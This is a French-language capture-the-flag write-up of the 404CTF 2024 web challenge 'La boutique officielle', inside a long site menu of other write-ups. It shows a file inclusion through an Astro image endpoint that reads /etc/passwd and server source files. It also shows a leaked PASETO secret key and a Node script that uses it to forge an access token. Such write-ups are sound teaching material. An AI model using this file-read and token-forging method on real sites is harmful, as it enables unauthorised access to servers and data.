ThaySan
  • πŸ‘‹Bienvenue
    • Avant-propos
  • 🚩CTF & Writeups
    • 2025 | EC2
      • Let's Crax
    • 2025 | HackDay
      • πŸ”‘Cryptographie
        • Drunk Christmas
        • Find Eve 1
        • Well hidden message - Standard Code Encryption
      • πŸ”ŽForensic
        • Copperwire Extraction
        • Distracted user
        • I believe you can't fly
      • 🧠Misc
        • Hello Steve
      • πŸ’ΎProgrammation
        • Lonely bot
        • Lonely bot #2
        • Lonely bot #3
        • Useless Animals Sorting
        • Who cares about SSI anyway ?
      • βš™οΈReverse
        • Just dig
        • Rusty_rev
        • The Cogs of Blackmail
      • 🎭Steganographie
        • It says a lot when there is no music
        • Mona LSB
        • Well hidden message - Insignificant blue
      • 🌐Web
        • Super Website Verificator 3000
        • The analytical engine leak
        • The Watchful Gears: Uncover the Secrets Within
        • Your region's finest
    • 2024 | Efrei - CyberNight
      • πŸ”‘Cryptographie
        • Clavier spΓ©cial
        • Le futur
        • Securechain 30.0
        • Cascade
        • Shared Flag
        • Weird Algorithm
      • 🧊Minecraft
        • Introduction
        • Non aux Bouquins TrafiquΓ©s
        • Redstone Gold Block
      • πŸ’ΎProgrammation
        • Captcha 1.0
        • Intro Γ  la prog
        • Captcha 2.0
      • βš™οΈReverse
        • Reverse the Reverse
        • Find me if you can
        • HuGO Decrypt
        • Kitten eXORcism
        • M30W Vault Tech
        • The Ugandan Labyrinth
      • 🎭StΓ©ganographie
        • Le message
        • bon Le ordre
        • COD FORFLAG
        • Mauvaise note
        • Bruit
        • Un (un ?) drΓ΄le de QR code
        • RandonnΓ©e Guillerette Γ  Bordeaux
      • πŸ’»SystΓ¨me
        • Marche-pied
        • Escabot
        • rΓ©gulation des DonnΓ©es et des Normes de SΓ©curitΓ©
      • 🌐Web
        • cybernight.zip
        • Mon champion prΓ©fΓ©rΓ©
        • Co(mpressed)okies
        • Gitty Mistake
        • JWT Kiddo
        • Parseur Farceur
      • L'enquΓͺte
        • L'enquΓͺte 2/6
        • L'EnquΓͺte 1/6
        • Bienvenue, enquΓͺteur
    • 2024 | Star-Hack
      • πŸ”‘Cryptographie
        • CΓ©sar, mais pas CΓ©sar
        • Double ennui
        • Langage secret
        • Quadratique MystΓ©rieuse
        • ReSultAt
        • Sup3r S3cr3t
        • Warmup
      • πŸ”ŽForensic
        • Cache-cache
        • Fichier ZIP protΓ©gΓ© par mot de passe
        • HEADER
        • Investigation 1
        • Investigation 2
      • 🧠Misc
        • B4l4d3 Urb41n3
        • Bruhh, c'est quoi Γ§a ?
        • Cut13
        • Pika Pika
      • 😈Pwn
        • Pwn0x01
        • Pwn0x02
        • Pwn0x03
      • βš™οΈReverse
        • Assembly
        • Rev0x00
        • Rev0x01
        • Rev0x02
      • 🌐Web
        • Clone Udemy
        • Flask
        • Guess_The_Passcode
        • PHP
        • Tickets
        • Usine de Cookies
    • 2024 | ECW
      • πŸ”‘Cryptographie
        • Course hipPIN
    • 2024 | CTFREI Intro
      • πŸ”‘Cryptographie
        • AES Intro
        • AlΓ©atoire
        • Game of Luck
        • RSA Intro
        • RSA2
        • RSA3
      • πŸ”ŽForensic
        • Mais qui est le photographe ?
        • Mais oΓΉ est passΓ© mon flag ?
        • MΓ©moire 1/4
        • MΓ©moire 2/4
        • MΓ©moire 3/4
        • MΓ©moire 4/4
        • My computer is talking
      • πŸ“šOSINT
        • Avion ✈
        • Geoint
        • Google!
        • Googlint
        • Le pivot
        • Le temps commence maintenant
        • SacrΓ© dossier
        • Socint
      • πŸ’ΎProgrammation
        • Try Me
        • Answer Me
        • Eval Me
        • Time Based
      • 😈Pwn
        • BOF Intro
        • Shop
        • BOF 2
        • BOF win()
      • βš™οΈReverse
        • CrackMe1
        • CrackMe2
        • CrackMe3
        • Hidden...
        • Something changed?
        • ZZZ
      • 🎭StΓ©ganographie
        • Cybernight Γͺtre comme
        • Joli paysage
        • Petit poisson
        • StegHide 'n' Seek
        • Un canard pas comme les autres
      • πŸ’»SystΓ¨me
        • Bash Jail
        • Bash Jail Revenge
        • BrokenBin
        • GTFO Of Here
        • Pyjail
        • Pyjail Revenge
        • Strange input, right?
      • 🌐Web
        • SQLi
        • POST This Money
        • Give me my Flask PIN
        • Access
        • Render
        • RenderV2
        • Touchy
    • 2024 | DefCamp
      • πŸ”‘Cryptographie
        • conv
        • oracle-srl
        • ctr
      • πŸ”ŽForensic
        • i-got-a-virus
        • Alternating
        • call-me-pliz
      • 🧠Misc
        • pyterm
      • πŸ“±Mobile
        • mobisec
      • πŸ“šOSINT
      • 😈Pwn
      • βš™οΈReverse
      • πŸ•΅οΈTraque
      • 🌐Web
        • noogle
        • production-bay
    • 2024 | 404CTF
      • πŸ”‘Cryptographie
        • BΓ©bΓ© nageur
        • Le petit bain
        • Poor Random Number Generator [1/2]
        • Plongeon Rapide Super Artistique
        • J'Γ©ponge donc j'essuie
        • Poor Random Number Generator [2/2]
        • La Seine
        • J'ai glissΓ© chef !
        • SEA - La face cachΓ©e de l'Iceberg
      • πŸ”ŽForensic
        • Le tir aux logs
        • Darts Bank
        • Vaut mieux sΓ©curiser que guΓ©rir
        • De bons croissants au beurre
        • Poids Raw vs. Cours Jette [1/3]
      • πŸ”ŒHardware
        • Serial killer
        • Le soulevΓ© de GND
        • Comment est votre modulation ? [1/2]
        • Sea side channel [1/4] - Introduction
        • Comment est votre modulation ? [2/2]
        • Sea side channel [2/4] - Reconnaissance
        • Sea side channel [3/4] - Mais oΓΉ sont les triggers ?
      • πŸ€–IA
        • Du poison [1/2]
        • Du poison [2/2]
        • Des portes dΓ©robΓ©es
      • 🧠Misc
        • Discord
        • De la friture sur la ligne
        • Bienvenue
        • Revers(ibl)e Engineering [0/2]
      • πŸ“šOSINT
        • LΓ©gende
        • Not on my watch
        • Secret Training [1/2]
      • 😈Pwn
        • Pseudoverflow
        • Jean Pile
        • Mordu du 100m
        • Antismash
      • πŸˆβ€β¬›Quantique
        • Des trains superposΓ©s
        • De l'Γ©coute, pas trΓ¨s discrΓ¨te
        • De la multiplicitΓ© des problΓ¨mes
      • βš™οΈReverse
        • ⭐Échauffement
        • ⭐Intronisation du CHAUSSURE
        • ⭐Bugdroid Fight [1/2]
        • ⭐Revers(ibl)e Engineering [1/2]
        • ⭐Bugdroid Fight [2/2]
        • ⭐Nanocombattants
        • ⭐Revers(ibl)e Engineering [2/2]
        • Le Tableau Noir
      • 🎭StΓ©ganographie
        • ⭐L'absence
        • ⭐Regarder en stΓ©rΓ©o
        • ⭐La Barre Fixe
        • ⭐Le grand Γ©cart
        • ⭐La chute
      • 🌐Web
        • ⭐Vous Γͺtes en RETARD
        • ⭐Le match du siΓ¨cle [1/2]
        • ⭐Exploit mag
        • ⭐Le match du siΓ¨cle [2/2]
        • ⭐LE GORFOU 42
        • ⭐La boutique officielle
    • 2024 | CTFREI - Bordeaux
      • πŸ”‘Cryptographie
        • zzz
      • πŸ“šOSINT
        • Alexis Dumas
        • Back to the bureau
        • Dr Octopus
        • Folie et ambition
        • GeoGuessr
        • Hugo Nelots : prΓ©lude
        • La fin ?
        • La fuite Dumas
        • Un rΓ©seau suspect
      • πŸ’ΎProgrammation
        • Eval me 1
        • Eval me 2
        • Time Based
      • πŸ’»SystΓ¨me
        • Broken Binary 1
        • Broken Binary 2
        • GTFO of here
        • Pyjail 1
        • Pyjail 2
        • Pyjail 3
        • Pyjail 4
      • 🌐Web
        • Au commencement Γ©tait le verb
        • Becadmin
        • PHP Juggler
    • 2024 | HTB - Cyber Apocalypse Challenges
      • πŸ”—Blockchain
        • Lucky Faucet
        • Recovery
        • Russian Roulette
      • πŸ”‘Cryptographie
        • Blunt
        • Dynastic
        • Iced TEA
        • Makeshift
        • Primary Knowledge
      • πŸ”ŽForensic
        • An unusual sighting
        • Data Siege
        • Fake Boost
        • Game Invitation
        • It Has Begun
        • Phreaky
        • Pursue The Tracks
        • Urgent
      • πŸ”ŒHardware
        • BunnyPass
        • Flash-ing Logs
        • Maze
        • Rids
        • The PROM
      • 🧠Misc
        • Character
        • Cubicle Riddle
        • Path of Survival
        • Stop Drop and Roll
        • Unbreakable
        • Were Pickle Phreaks
        • Were Pickle Phreaks Revenge
      • 😈Pwn
        • Delulu
        • Pet Companion
        • Tutorial
        • Writing on the Wall
      • βš™οΈReverse
        • BoxCutter
        • Crushing
        • FollowThePath
        • LootStash
        • MazeOfPower
        • Metagaming
        • PackedAway
        • QuickScan
      • 🌐Web
        • Flag Command
        • KORP Terminal
        • Labyrinth Linguist
        • LockTalk
        • Testimonial
        • TimeKORP
    • 2024 | UNbreakable
      • πŸ”‘Cryptographie
        • start-enc
        • traffic-e
      • πŸ”ŽForensic
        • easy-hide
        • password-manager-is-a-must
      • 🧠Misc
        • rfc-meta
      • πŸ“±Mobile
        • flagen
        • improper-configuration
      • πŸ“‘Network
        • wifi-basic
        • wifiland
      • πŸ“šOSINT
        • persistent-reccon
        • safe-password
      • 😈Pwn
        • intro-to-assembly
      • βš™οΈReverse
        • fake-add
      • 🎭StΓ©ganographie
        • secrets-of-winter
      • 🌐Web
        • pygment
        • sided-curl
        • you-can-trust-me
    • 2023 | EFREI - CyberNight
      • πŸ“šOSINT
        • Invest Now !
      • 😈Pwn
        • NSA Call Converter
      • βš™οΈReverse
        • CryptoVirus
        • WebChaussettes
      • 🌐Web
        • DoctoLeak
    • 2023 | Flag4All
      • πŸ”‘Cryptographie
        • Aes IV
        • Crypt my loop
        • Kentucky fried chicken
        • RSA primes
        • Xor
    • 2022 | EFREI - CyberNight
      • πŸ”‘Cryptographie
        • CoupΓ©-dΓ©calΓ©
        • ExFILEtration
        • Il s'est baissΓ© ou pas
        • J'ai pas rotΓ©
        • Les allemands !
        • RSA Strong Prime generator
      • πŸ”ŽForensic
        • Bomberman 1/2
        • Bomberman 2/2
        • Magic
        • Peu importe le chemin
        • Sniff sniff
        • Souvenir
        • Xray
      • πŸ”ŒHardware
        • Class4
        • Find me 2/3
        • Identify 1/3
        • Yo listen 3/3
      • 🧠Misc
        • Et je tombe tombe tombe
        • Des yeux partout
        • RiGOLe
        • Roomba tricheur
        • Survey
        • Tinder
      • πŸ’ΎProgrammation
        • Repeat
        • Startup
        • Timing
      • βš™οΈReverse
        • Auth 1
        • Auth2
        • Auth3
        • Cryptoroomba
        • Tenet
      • 🎭StΓ©ganographie
        • 50 shades of stephane legar
        • Chess master
        • Deviens champion sers toi de tout ce que tu as appris
        • Drifting in the bits
        • Pyramide
        • Spirale
      • 🌐Web
        • Ah bah c'est du propre
        • Cooking roomba
        • Leaderboard
        • vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
PropulsΓ© par GitBook
Sur cette page
  • Challenge
  • Exploration du site
  • AccΓ¨s Γ  la boutique
  • Technologie utilisΓ©e
  • Potentielle LFI
  • Exploitation de la LFI
  • Proof of concept
  • RΓ©cupΓ©ration du code source
  • /api/shop/ticket
  • /api/queue/enqueue
  • RΓ©cupΓ©ration du flag

Cet article vous a-t-il Γ©tΓ© utile ?

  1. CTF & Writeups
  2. 2024 | 404CTF
  3. Web

La boutique officielle

404CTF{Sh0uld_Th1s_B3_a_CVE_?}

PrΓ©cΓ©dentLE GORFOU 42Suivant2024 | CTFREI - Bordeaux

Dernière mise à jour il y a 1 an

Cet article vous a-t-il Γ©tΓ© utile ?

CatΓ©gorie: Web DifficultΓ©: difficile Flag: -

Challenge

Description


Enfin ! Les billets pour la CΓ©rΓ©monie de ClΓ΄ture des 404 Travaux du Hacker sont en vente sur la boutique officielle de l'Γ©vΓ©nement. Le prix est peut-Γͺtre un peu haut, mais tant pis. Vous avez dΓ©jΓ  fait l'acquisition de l'une de ces Γ©tranges mascottes en forme de... bref ! Tout Γ§a pour dire que ce n'est pas l'argent qui compte : une occasion comme Γ§a, il ne faut pas la louper ! Allez, dΓ©pΓͺchez-vous, j'ai le sentiment que vous n'Γͺtes pas le seul Γ  Γͺtre intΓ©ressΓ©.

Connexion:

Ce challenge tourne sur un docker et n'est pas disponible

Exploration du site

La première étape est de visiter un peu tout le site avec un outil comme Burp afin de le cartographier.

Accès à la boutique

On peut se mettre en liste d'attente dans l'onglet Boutique en rentrant simplement un nom

Ce qui va nous crΓ©er un token.

Dans ce token, on y trouve notre nom, notre position dans la file et la date Γ  laquelle nous nous sommes enregistrΓ©s.

Technologie utilisΓ©e

Avec un peu de recherche ou un outil comme Wappalyzer, on voit qu'il s'agit du framework node Astro.

Potentielle LFI

Dans l'onglet Proxy/HTTP history de Burp, on peut trouver des requΓͺtes assez spΓ©ciales concernant les images du site. Elles sont rΓ©cupΓ©rΓ©es sur le chemin /_image en donnant au paramΓ¨tre href ce qui semble Γͺtre le chemin vers l'image sur le serveur directement.


Exploitation de la LFI

Proof of concept

Pour faciliter l'Γ©tude des requΓͺtes, la modification et le rejoue, on va utiliser BurpSuite. Γ‡a nous permettra de voir toutes les requΓͺtes passant par le navigateur et les modifier si nΓ©cessaire.

On va tester la LFI en allant chercher /etc/passwd dans un premier temps. Pour Γ§a on remonte suffisamment dans l'arborescence et on tente

On reΓ§oit Server Error: Error: Input buffer contains unsupported image format. Il faut ajouter le paramΓ¨tre f, qui correspond au format de sortie, comme dans la requΓͺte vue dans l'historique.

Seulement, pour récupérer le fichier sans avoir l'erreur, il faut absolument mettre ce paramètre à svg

On peut trouver cette valeur en cherchant dans le github d'Astro et en testant toutes les valeurs possibles.

astro/src/assets/consts.ts
export const VALID_OUTPUT_FORMATS = ['avif', 'png', 'webp', 'jpeg', 'jpg', 'svg'] as const;

RΓ©cupΓ©ration du code source

De là, on a accès au projet build. Dans le fichier, on trouve différentes choses intéressantes, notamment une map avec tout un tas de chemins qui semblent correspondre aux pages accessibles sur le site.

À chaque page, on a une variable associée nommée _pageX qui est en fait un import d'un fichier .mjs. On en déduit que ces fichiers correspondent à la logique de la page (à son code source grossièrement).

const _page0 = () => import('./chunks/node_DC_YwYNO.mjs');
const _page1 = () => import('./chunks/404_ejFbCBUG.mjs');
const _page2 = () => import('./chunks/about_DOsy3zx0.mjs');
const _page3 = () => import('./chunks/dequeue_CuId44A8.mjs');
const _page4 = () => import('./chunks/enqueue_Cyp9pFhK.mjs');
const _page5 = () => import('./chunks/sync_B3_0Eq--.mjs');
const _page6 = () => import('./chunks/ticket_DhEqCkFa.mjs');
const _page7 = () => import('./chunks/cgu_CY0EX12Q.mjs');
const _page8 = () => import('./chunks/privacy_8Ett3atZ.mjs');
const _page9 = () => import('./chunks/queue_DyZwKykP.mjs');
const _page10 = () => import('./chunks/index_Di_griV8.mjs');
const _page11 = () => import('./chunks/index_b6zfsK0N.mjs');
const pageMap = new Map([
    ["node_modules/astro/dist/assets/endpoint/node.js", _page0],
    ["src/pages/404.astro", _page1],
    ["src/pages/about.astro", _page2],
    ["src/pages/api/queue/dequeue.ts", _page3],
    ["src/pages/api/queue/enqueue.ts", _page4],
    ["src/pages/api/queue/sync.ts", _page5],
    ["src/pages/api/shop/ticket.ts", _page6],
    ["src/pages/cgu.astro", _page7],
    ["src/pages/privacy.astro", _page8],
    ["src/pages/queue.astro", _page9],
    ["src/pages/shop/index.astro", _page10],
    ["src/pages/index.astro", _page11]
]);

/api/shop/ticket

On dΓ©couvre le chemin d'API /api/shop/ticket. De lΓ , on peut Γ©galement rΓ©cupΓ©rer son code source en utilisant le mΓͺme chemin que sa variable associΓ©e _page6

C'est-Γ -dire /dist/server/chunks/ticket_DhEqCkFa.mjs

on oublie pas que l'on se situe dans le fichier /dist/server/entry.mjs, donc ./chunks se situe Γ©galement dans le dossier /dist/server

On voit un import sur /dist/server/chunks/pages/ticket_B7THZvNZ.mjs

Et voici le code rΓ©cupΓ©rΓ© !

import { PDFDocument, StandardFonts, rgb } from 'pdf-lib';
import fs from 'node:fs/promises';

const prerender = false;
const GET = async ({
  cookies,
  locals
}) => {
  if (!locals.customer || locals.customer.position > 0) {
    return new Response(JSON.stringify({
      status: "error",
      message: "Error: customer token is missing or customer is still in queue"
    }), {
      headers: {
        "Content-Type": "application/json"
      },
      status: 403
    });
  }
  const url = process.env.TICKET_PDF_URL;
  const existingPdfBytes = await fs.readFile(url);
  const pdfDoc = await PDFDocument.load(existingPdfBytes);
  pdfDoc.setAuthor("Artamis");
  pdfDoc.setTitle("Billet CΓ©rΓ©monie de ClΓ΄ture");
  const page = pdfDoc.getPage(0);
  const courierFont = await pdfDoc.embedFont(StandardFonts.Courier);
  const flag = process.env.FLAG || "Error fetching flag";
  page.drawText(flag, {
    x: 210,
    y: 67,
    size: 11,
    font: courierFont,
    color: rgb(0, 0, 0)
  });
  const pdfBytes = await pdfDoc.save();
  return new Response(pdfBytes, {
    headers: {
      "Content-Type": "application/pdf"
    },
    status: 200
  });
};

export { GET, prerender };

Le flag est dans process.env.FLAG et pour le rΓ©cupΓ©rer, il faut que locals.customer.position soit Γ©gal Γ  0 afin de tΓ©lΓ©charger un PDF le contenant.

/api/queue/enqueue

En continuant les recherches dans les autres fichiers, notamment /dist/server/chunks/enqueue_Cyp9pFhK.mjs

On voit que la crΓ©ation de notre token se passe dans le fichier /dist/server/chunks/pages/enqueue_Csagi6Et.mjs

import { V4 } from 'paseto';

// ...

const createToken = async (customerCookie) => {
  const token = await V4.sign(customerCookie, "k4.secret.OniOSikVRYNmSsGVYcyWTJuxjzXDjuOrz6PeRaLX4qQ77uScBEi20YoSQJSjiFagNckHEo_8m0AZaSazNCxCJg");
  return token;
};

On vient de rΓ©cupΓ©rer la clΓ© privΓ©e servant Γ  crΓ©er les tokens, on peut maintenant en gΓ©nΓ©rer des valides Γ  volontΓ©.


RΓ©cupΓ©ration du flag

CrΓ©ons un projet Node spΓ©cialement pour forger un token avec la position 0

$ npm init es6 -y
$ npm i paseto

Dans un fichier index.js on y met la mΓͺme fonction que celle du site, puis on l'appelle et on affiche le rΓ©sultat.

import { V4 } from 'paseto';

// Fonction dans le code source du site
const createToken = async (customerCookie) => {
    const token = await V4.sign(customerCookie, "k4.secret.OniOSikVRYNmSsGVYcyWTJuxjzXDjuOrz6PeRaLX4qQ77uScBEi20YoSQJSjiFagNckHEo_8m0AZaSazNCxCJg");
    return token;
}

// On appelle la fonction
const token = await createToken({
    name: "Hacked",
    position: 0,
    enqueueTime: new Date().toISOString()
})

// Affichage du token créé
console.log(token)

// v4.public.eyJuYW1lIjoiSGFja2VkIiwicG9zaXRpb24iOjAsImVucXVldWVUaW1lIjoiMjAyNC0wNS0xNVQwODo1Mjo1OS44ODNaIiwiaWF0IjoiMjAyNC0wNS0xNVQwODo1Mjo1OS44ODRaIn0ErgX60KZIsXmRosV5DHahzaSUl45WRjxAIrcyzmQSJT3mqupEX_V9yz6_tRkFE8pGzu_Bj-INS79OUpiv-Q8F

DΓ©sormais, on peut utiliser ce token. Pour une question purement visuelle, j'ai utilisΓ© Postman pour faire la requΓͺte

Sur le site d', on apprend que lorsque l'ont build le projet, le fichier d'entrΓ©e est ./dist/server/entry.mjs, on peut donc rΓ©cupΓ©rer celui-ci en remontant dans l'arborescence.

🚩
🌐
⭐
Astro
https://la-boutique-officielle.challenges.404ctf.fr